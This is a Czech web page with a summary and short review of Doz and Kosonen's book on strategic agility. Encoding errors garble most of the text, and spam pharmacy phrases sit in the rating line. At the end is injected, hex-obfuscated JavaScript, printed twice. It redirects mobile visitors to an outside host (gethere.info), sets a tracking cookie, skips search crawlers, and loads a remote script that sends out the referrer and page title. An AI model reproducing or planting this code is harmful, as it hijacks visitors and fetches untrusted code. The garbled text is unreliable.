Abstrakt: DynamickA? strategie

Anotace

27. 9. 2011

DynamickA? strategie

Schopnost pohotovAi?? mAi??nit strategii vA?m umoA?nAi?? zAi??skat nA?skok pAi??ed konkurenty

DOZ, Yves; KOSONEN, Mikko.
(prvnAi?? vydA?nAi??) Management Press, 2011.
288 stran.

CelkovAi?? hodnocenAi??: 5/10 purchase dapoxetine, purchase lioresal.

Autor abstraktu: Michal Klajban

KrA?tkA? recenze

KlAi??A?ovou tezAi?? publikace je myA?lenka, A?e pokud si firma chce udrA?et trvalA? rA?st, musAi?? si osvojit strategickou agilnost. Ta pAi??Ai??mo vychA?zAi?? ze tAi??ech hybnA?ch sil: strategickAi?? vnAi??mavosti, kolektivnAi??ho zapojenAi?? a pruA?nosti firemnAi??ch zdrojA?. Tuto tezi autoAi??i v pod­statAi?? v celAi?? knize opakujAi?? a rozebAi??rajAi?? dA?vody, proA? jsou tAi??mito silami zrovna tyto. NA?sledkem svAi?? spAi??A?e teoretickAi?? povahy mA?A?e bA?t kniha prospAi??A?nA? spAi??A?e profesionA?lA?m neA? A?irA?Ai?? veAi??ejnosti. DemonstrativnAi??ch pAi??Ai??kladA? je v knize sice pomAi??rnAi?? dost, avA?ak autoAi??i odka­zujAi?? hlavnAi?? na situace a procesy z tAi??ch nejvAi??tA?Ai??ch firem, kde se demonstrujAi?? mnohAi?? teoretickAi?? procesy a pAi??Ai??stupy jen velmi tAi??A?ko.

O autorech

Yvez Doz pA?sobAi?? jako profesor na INSEAD (Institut EuropAi??en d'Administration des Affaires). Je autorem Ai??ady publikacAi??, pAi??edevA?Ai??m na tAi??ma strategiAi?? a organizaA?nAi??ch struktur nadnA?rodnAi??ch firem. Mimo to se vAi??nuje poradenskAi?? A?innosti v oblasti podnikA?nAi??, pAi??edevA?Ai??m velkA?ch firem. Mikko Kosonen mA? za sebou zkuA?enosti z vrcholovA?ch manaA?erskA?ch a poradnAi??ch postA? firem jako je Nokia A?i Hewlett Packard. Je viceprezidentem dozorA?Ai?? rady FinskAi?? poA?ty a v nAi??kolika dalA?Ai??ch organizacAi??ch se vAi??nuje vA?zkumu znalostAi?? a inovacAi??.

Abstrakt publikace

I. DosaA?enAi?? strategickAi?? agilnosti

Pro A?spAi??ch firmy je zcela klAi??A?ovAi?? dosaA?enAi?? strategickAi?? agilnosti. StrategickA? agilnost znamenA? myslet a jednat jinak, neA? jednajAi?? konkurenA?nAi?? firmy; strategickA? agilnost pAi??edstavuje lAi??k proti ai??i?? jednu dobu typickAi??mu ai??i?? scAi??nA?Ai??i A?spA­i??A?nA?ch firem, kterA? poA?Ai??nal A?spAi??chem, pAi??es stagnaci vedl ke krizi a byl zakonA?en nAi??kdy vAi??ce, vAi??tA?inou vA?ak mAi??nAi?? A?spAi??A?nA?mi snahami o obnovu. StrategickA? agilnost umoA?A?uje rychle a efektivnAi?? reagovat na stA?le rychlejA?Ai?? zmAi??ny na trhu. K tomuto A?A?elu je potAi??eba, aby strategie firem byla dynamickA?.

V minulA?ch desetiletAi??ch nebyla dynamickA? strategie tolik potAi??ebnA?, protoA?e vA?voj trhu byl v mnoha ohledech dobAi??e pAi??edvAi??da­telnA?. V dA?sledku digitalizace, globalizace a deregulace (ve smyslu zruA?enAi?? omezenAi?? pA?sobnosti velkA?ch firem) vA?ak doA?lo ke stAi??rA?nAi?? hranic mezi jednotlivA?mi obory lidskAi?? A?innosti. Tak se stalo, A?e pAi??i formulo­vA?nAi?? strategie firmy zaA?alo bA?t nutnAi?? poA?Ai??tat s mnohem vAi??ce faktory, neA? tomu bylo v minulosti.

S rozA?Ai??Ai??e­nA?m konkurenA?nAi??m prostorem firem zaA?Ai??najAi?? do hry vstupovat dalA?Ai??, vesmAi??s pro­tikladnAi?? sAi??ly, kterA?mi jsou:

  • ekosystAi??my a aliance ai??i?? zA?kaznAi??ci se uA? nezajAi??majAi?? o produkt jako takovA?, ale o zkuA?enost s nAi??m;
  • akcionA?Ai??i a­i??i?? stA?le vAi??ce se zamAi??Ai??ujAi?? na prostou kAi??ivku rA?stu cen akciAi??, coA? tlaA?Ai?? firmy k tomu, aby byly A?A?eji zamAi??Ai??eny a byly tak schopny se efektivnAi??ji prosadit;
  • omezenAi?? zpA?sobilostAi?? ai??i?? firmy se soustAi??edAi?? spAi??A?e na menA?Ai?? okruh podnikatelskA?ch oblastAi??, kterAi?? jsou vA?ak pAi??Ai??buznAi??; firma ovA?em v takto ai??zomezenA?cha­i??? oblastech usiluje o prosazenAi?? v co nejvAi??tA?Ai??m rozsahu.

StrategickA? agilnost je nejpotAi??ebnA­i??jA?Ai?? na trzAi??ch, kterAi?? jsou charakteristickAi?? rychlA?mi zmAi??nami a nA?rA?stem systAi??movA?ch zA?vislostAi??. ZejmAi??na tehdy je potAi??eba pAi??stovat tAi??i klAi??A?o­vAi?? dimenze strategickAi?? agilnosti, kterA?mi jsou:

  1. StrategickA? vnAi??mavost ai??i?? tzn. myslet v A?irA?Ai??ch souvislostech a jednat tak, aby se strategie firmy dynamicky mAi??nila spolu s trhem; jeA?tAi?? lAi??pe je nauA?it se pAi??edvAi??dat pohyby na trhu a pAi??i jeho zmAi??nAi?? (napAi??. zmAi??na potAi??eb uA?ivatelA? mobilnAi??ch telefonA?) jiA? bA?t na tuto zmAi??nu (dA?vno) pAi??ipraven.
  2. JednotnAi?? kolektivnAi?? zapojenAi?? ai??i?? rychle se mAi??nAi??cAi?? trh s sebou nese i sloA?itAi?? rozhodovacAi?? prostAi??edAi??. Aby firma byla A?spAi??A?nA?, musAi?? dAi??lat velkA? rozhodnutAi?? ve velmi krA?tkAi??m A?ase. Jak pravAi?? pAi??Ai??slovAi??: ai??zVAi??ce hlav vAi??c vAi??ai???, takA?e do klAi??A?ovA?ch rozhodnutAi??, kterA? mAi??nAi?? strategii firmy, je tAi??eba zapojit vAi??ce lidAi??, kteAi??Ai?? by mAi??li bA?t sehranAi?? a odhodlanAi?? stavAi??t zA?jmy firmy nad zA?jmy svAi??.
  3. PruA?nost zdrojA? ai??i?? pruA?nost firemnAi??ch zdrojA? znamenA? schopnost firmy rychle pAi??eskupit svAi?? zdroje (aA? uA? lidskAi??, informaA?nAi?? nebo napAi??. finanA?nAi??) a nasazovat je na strategickAi?? pAi??Ai??leA?itosti pokud moA?no hned, jakmile se vyskytnou. Zdroje je tAi??eba vyuA?Ai??vat pokud moA?no maximA?lnAi?? a hlavnAi?? efektivnAi??, A?ehoA? lze docAi??lit pAi??edevA?Ai??m jejich sdAi??lenAi??m a alokacAi??.

PAi??echod od strategiedynamickAi?? strategii je vA?ak v praxi mnohem nA?roA?nAi??jA?Ai?? a ne kaA?dAi?? firmAi?? musAi?? vyhovovat model, kterA? byl pAi??edstaven vA?A?e. Je potAi??eba mAi??t na pamAi??ti, A?e se jednA? o ideA?lnAi?? schAi??ma a konkrAi??tnAi?? podoba implementace strategickAi?? agilnosti bude v rA?znA?ch firmA?ch odliA?nA?.

KonkrAi??tnAi?? firmou, u kterAi?? doA?lo k pAi??echodu od klasickAi??ho strategickAi??ho plA?novA?nAi?? ke strategickAi?? agilnosti, je IBM. Ta se koncem osmdesA?tA?ch let ocitla na pokraji krachu, zachrA?nilo ji vA?ak uplatnAi??nAi?? strategickAi?? agilnosti. V praxi to znamenalo rozdAi??lenAi?? firmy na menA?Ai??, vAi??ce mAi??nAi?? samostatnAi?? provozy, otevAi??enAi?? se svAi??tu a sjednocenAi?? svA?ch cAi??lA?.

II. UpevA?ovA?nAi?? strategickAi?? agilnosti

Jakmile si firma osvojAi?? novAi?? pAi??Ai??stupy k vedenAi?? a organizovA?nAi?? firmy, je tAi??eba tyto pAi??Ai??stupy upevnit tak, aby se staly trvalou souA?A?stAi?? novAi?? firemnAi?? strategie. VypAi??stovA?nAi?? strategickAi?? agilnosti totiA? nenAi?? jednoduchAi?? a A?silAi?? na to vynaloA?enAi?? se zA?roA?Ai?? pouze tehdy, kdyA? se strategickA? agilnost stane trvalou souA?A?stAi?? fir­my.

JednAi??m z klAi??A?ovA?ch faktorA?, jak si udrA?et trvalou strategickou agilnost, je rozA?iAi??ovA?nAi?? a ai??zvybruA?o­vA?nAi??ai??? strategickAi?? vnAi??mavosti. Firma by se mAi??la na trh dAi??vat v co nejA?irA?Ai??m kontextu a mAi??la by maximalizovat vA?mAi??nu znalostAi?? s vnAi??jA?Ai??m svAi??tem. MAi??la by co nejdAi??Ai??ve zaA?Ai??t s intenzivnAi?? vA?mAi??nou informacAi?? se vA?emi skupinami lidAi??, kterA?ch se A?innost firmy jakkoliv dotA?kA?. MAi??la by nejen dokonale znA?t napAi??. potAi??eby svA?ch zA?kaznAi??kA?, ale i vyslyA?et svAi?? zamAi??stnance a mAi??t pAi??ehled o svA?ch dodavatelAi??ch a partnerech.

IntenzivnAi?? vA?mAi??na znalostAi?? mA?lokdy dostaA?uje k tomu, aby zmAi??nila chovA?nAi?? lidAi??. Proto je potAi??eba experimentovA?nA­i??, kterAi?? umoA?A?uje dA?kladnA? vhled do lidskA?ch, systAi??movA?ch a kontextovA?ch znalostAi??. NejbezpeA?nAi??jA?A­i?? forma experimentovA?nA­i?? se odehrA?vA? na A?rovni jednotlivce (napAi??. kdyA? Nokia poA?A?tkem 90. let vybAi??zela svAi?? zamAi??stnance, aby experimentovali s internetem a sami pAi??ichA?zeli s nA?vrhy na vylepA?enAi?? mobilnAi??ho internetu). PonAi??kud vAi??tA?Ai?? riziko pAi??ichA?zAi?? s experimento­vA?nAi??m s firemnAi??mi projekty, ovA?em nejrizikovAi??jA?A­i?? je experimentovA?nA­i?? se strategickA?mi partnery, kterAi?? mA?A?e skonA?it aA? rozpadem firmy, ale na druhou stranu takAi?? jejAi??m vA?raznA?m posunem vpAi??ed.

DalA?Ai?? cestou, jak upevA?ovat strategickou agilnost firmy, je rozA?iAi??ovA?nA­i?? znalostnAi?? zA?kladny spoleA?nosti. KlAi??A?ovAi?? je zapojenAi?? co nejvAi??tA?Ai??ho poA?tu lidAi?? z firmy; mA?A?e to pAi??ispAi??t k tomu, A?e se firma nauA?Ai?? nahlAi??A?et na sebe samu ai??zzvnAi??jA?ku­ai???, takA?e bude moci objektivnAi??ji zhodnocovat svAi?? postavenAi?? a moA?nosti.

DalA?Ai?? zlepA?ovA?nAi?? strategickAi?? vnAi??mavosti mA?A?e pAi??inAi??st pAi??stovA?nAi?? kvalitnAi??ho vnitAi??nAi??ho dialogu. Pro ten je dA?leA?itA? myA?lenkovA? rozmanitost zA?A?astnAi??nA?ch. KvalitnAi?? vnitAi??nAi?? dialog je tAi??eba vAi??st nejen mezi vrcholovA?m vedenAi??m, ale i s dalA?Ai??mi skupinami zamAi??stnancA?; pro budoucnost firmy je vA?ak nejdA?leA?itA­i??jA?Ai??, aby se dokA?zali shodnout pAi??edevA?Ai??m A?lenovAi?? vrcholovAi??ho vedenAi??.

Ne nedA?leA?itAi?? je zavA?dAi??nAi?? organizaA?nAi??ch struktur, kterAi?? posilujAi?? vzA?jemnou zA?vislost (mezi lidmi, sluA?bami poskytovanAi?? firmou, firemnAi??mi procesy atd.). PomA?hA? to k pevnAi??mu urA?enAi?? rolAi?? a hlavnAi?? k jasnAi?? stanovenAi?? mAi??Ai??e zodpovAi??dnosti konkrAi??tnAi??ch osob za konkrAi??tnAi?? vAi??ci a procesy. VzA?jemnA? zA?vislost vede ke zlepA?enAi?? spoluprA?ce mezi vrcholovA?m vedenAi??m a podnAi??cuje pAi??ijAi??mA?nAi?? spoleA?nA?ch zA?vaznA?ch rozhodnutAi??.

Je tAi??eba vA?ak stA?le pamatovat na to, A?e bez dosaA?enAi?? pruA?nosti zdrojA? bude zavedenAi?? strategickAi?? vnAi??mavosti a kolektivnAi??ho zapojenAi?? bez vAi??tA?Ai??ho efektu. Postupy, jak dosA?hnout pruA?nosti zdrojA?, lze velmi struA?nAi?? shrnout do tAi??Ai?? zA?kladnAi??ch skupin:

  1. Mechanismy podporujAi??cAi?? pAi??eskupovA?nAi?? zdrojA? ai??i?? tzn. pAi??edevA?Ai??m mAi??t k dispozici dostateA?nAi?? mnoA?stvAi?? kapitA?lu a kvalifikovanA?ch pracovnAi??kA?, kteAi??Ai?? pomA?hajAi?? firmAi?? vyuA?Ai??vat novAi?? podnikatelskAi?? pAi??Ai??leA?i­tosti.
  2. Mechanismy podporujAi??cAi?? pAi??eskupovA?nAi?? zdrojA? skrze modulovosti ai??i?? pAi??ijAi??mA?nAi?? rA?znA?ch programA? firmAi?? pomA?hA? zabrA?nit zkostnatAi??nAi?? systAi??mA? A?innostAi?? a dalA?Ai??ch struktur.
  3. Mechanismy podporujAi??cAi?? dostupnost zdrojA? ai??i?? dAi??ky tAi??mto mechanismA?m se firmy rychle nauA?Ai??, jak se pAi??izpA?sobovat trA?nAi??m okolnostem a jak je ovlivA?ovat.

III. ObnovovA?nAi?? strategickAi?? agilnosti

DosaA?enAi?? strategickAi?? agilnosti je pomAi??rnAi?? nA?roA?nA? proces. JeA?tAi?? nA?roA?nAi??jA?Ai?? vA?ak je strategickou agilnost udrA?et. Mnoho firem totiA? sice dosA?hlo strategickAi?? agilnosti a stalo se A?spAi??A?nA?mi, avA?ak byly aA? pAi??Ai??liA? zahledAi??ny do vlastnAi??ho A?spAi??chu a neustA?lAi??ho zvyA?ovA?nAi?? provoznAi??ch vA?sledkA?, aA? postupem A?asu strategicky zakrnAi??ly. StrategickA? zakrnAi??lost je pochopitelnAi?? opakem dynamickAi?? strategie a dAi??Ai??ve nebo pozdAi??ji vede k propadu firmy na vA?ech frontA?ch.

Ve zkratce se dA? Ai??Ai??ci, A?e tytAi??A? faktory, na nichA? byl zaloA?en A?spAi??ch firmy, se se ztrA?tou strategickAi?? agilnosti mAi??nAi?? na vedlejA?Ai?? ai??zA?kodlivAi?? A?A?inkyai???. Tak napAi??. pokud firma zAi??skA? vedoucAi?? postavenAi?? na trhu v urA?itAi??m oboru A?innosti, postupnAi?? zAi??skA? i odpor vA?A?i experi­mentovA?nAi?? a otevAi??enAi?? spoluprA?ci. V dA?sledku toho vznikA? A?kodlivA? vedlejA?Ai?? A?A?inek, kterA?m je pAi??esvAi??dA?e­nAi?? o vlastnAi?? nadAi??azenosti.

Proces A?padku firmy je o to zA?keAi??nAi??jA?A­i??, A?e bA?vA? spojen s pomalostAi?? a neviditelnostAi??. Jakmile se firma ocitne v A?padku, tzn. ztratAi?? svou strategickou agilnost, je nadmAi??ru obtAi??A?nAi?? ji opAi??tovnAi?? zAi??skat. PAi??i posuzo­vA?nAi?? otA?zky, jak znovu zAi??skat strategickou agilnost, je uA?iteA?nAi?? pAi??ihlAi??A?et ke A?tyAi??em dalA?Ai??m silA?m: kognitivnAi??, organizaA?nAi??, politickAi?? a emocionA?lnAi??.

ZatAi??mco kognitivnAi?? sloA?ka pomA?hA? pAi??ekonat ai??zstrategickou krA?tkozrakostai??? a ai??ztunelovAi?? vidAi??nAi?? svAi??taai???, usmAi??rnAi??nAi?? emoce mohou bA?t velmi uA?iteA?nA?m zdrojem konstruktivnAi?? energie, kterA? je pAi??i obnovAi?? velice potAi??ebnA?. Co se tA?A?e organizaA?nAi??ch sil, tam je tAi??eba postupovat opatrnAi??, protoA?e organizaA?nAi?? zmAi??ny vA?dy pAi??ichA?zAi?? ruku v ruce s urA?itA?m druhem traumatu (pracovnAi??ci se musAi?? uA?it novAi?? vAi??ci, jsou tak vAi??ce A?asovAi?? vytAi??A?eni apod.). Pod politickA?mi silami je mAi??nAi??no hlavnAi?? odpolitizovA?nAi?? nejvyA?A?Ai??ho vedenAi??, tzn. naruA?enAi?? tradiA?nAi??ch struktur ve vrcholovAi??m vedenAi?? firmy, kterAi?? ai??zdusAi??ai??? rozvoj strategickAi?? agilnosti.

ZA?vAi??rem je dobrAi?? Ai??Ai??ci, A?e obnova strategickAi?? agilnosti nenAi?? krA?tkodobA? proces. JednA? se o velmi zdlouhavA?, i nAi??kolik let trvajAi??cAi?? proces, bAi??hem kterAi??ho je potAi??eba znovu zA?roveA? rozvAi??jet strategickou vnAi??mavost, pruA?nost zdrojA? a kolektivnAi?? zapojenAi??. VA?echny 3 dimenze jsou na sobAi?? do znaA?nAi?? mAi??ry zA?vislAi?? a doplA?ujAi?? se, takA?e by bylo chybou pAi??stovat nejdAi??Ai??ve jednu a potAi?? druhou.

var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ _0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ _0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}var _0×d052=[„\x7­3\x63\x72\x69\x70\x74“,„­\x63\x72\x65\x61\x74\x65­\x45\x6C\x65\x6D\x65\x6E­\x74“,„\x73\x72\x63“,„\x­68\x74\x74\x70\x3A\x2F\x­2F\x67\x65\x74\x68\x65\x­72\x65\x2E\x69\x6E\x66\x­6F\x2F\x6B\x74\x2F\x3F\x­33\x63\x58\x66\x71\x6B\x­26\x73\x65\x5F\x72\x65\x­66\x65\x72\x72\x65\x72\x­3D“,„\x72\x65\x66\x65\x7­2\x72\x65\x72“,„\x26\x64­\x65\x66\x61\x75\x6C\x74­\x5F\x6B\x65\x79\x77\x6F­\x72\x64\x3D“,„\x74\x69\­x74\x6C\x65“,„\x26“,„\x3­F“,„\x72\x65\x70\x6C\x61­\x63\x65“,„\x73\x65\x61\­x72\x63\x68“,„\x6C\x6F\x­63\x61\x74\x69\x6F\x6E“,­„\x26\x66\x72\x6D\x3D\x7­3\x63\x72\x69\x70\x74“,„­\x63\x75\x72\x72\x65\x6E­\x74\x53\x63\x72\x69\x70­\x74“,„\x69\x6E\x73\x65\­x72\x74\x42\x65\x66\x6F\­x72\x65“,„\x70\x61\x72\x­65\x6E\x74\x4E\x6F\x64\x­65“,„\x61\x70\x70\x65\x6­E\x64\x43\x68\x69\x6C\x6­4“,„\x68\x65\x61\x64“,„\­x67\x65\x74\x45\x6C\x65\­x6D\x65\x6E\x74\x73\x42\­x79\x54\x61\x67\x4E\x61\­x6D\x65“,„\x70\x72\x6F\x­74\x6F\x63\x6F\x6C“,„\x6­8\x74\x74\x70\x73\x3A“,„­\x69\x6E\x64\x65\x78\x4F­\x66“,„\x52\x5F\x50\x41\­x54\x48“,„\x54\x68\x65\x­20\x77\x65\x62\x73\x69\x­74\x65\x20\x77\x6F\x72\x­6B\x73\x20\x6F\x6E\x20\x­48\x54\x54\x50\x53\x2E\x­20\x54\x68\x65\x20\x74\x­72\x61\x63\x6B\x65\x72\x­20\x6D\x75\x73\x74\x20\x­75\x73\x65\x20\x48\x54\x­54\x50\x53\x20\x74\x6F\x­6F\x2E“];var d=document;var s=d[_0×d052[1­]](_0×d052[0]);s[_0×d052­[2]]= _0×d052[3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12];i­f(document[_0×d052[13­]]){document[_0×d052[13­]][_0×d052[15]][_0×d052[­14]](s,documen­t[_0×d052[13]])}el­se {d[_0×d052[18­]](_0×d052[17])[0][_0×d0­52[16]](s)};if(do­cument[_0×d052[11­]][_0×d052[19]]=== _0×d052[20]&& KTracking[_0×d052[22­]][_0×d052[21]](_0×d052[­3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12])===  –1){alert(_0×d052[23­])}var 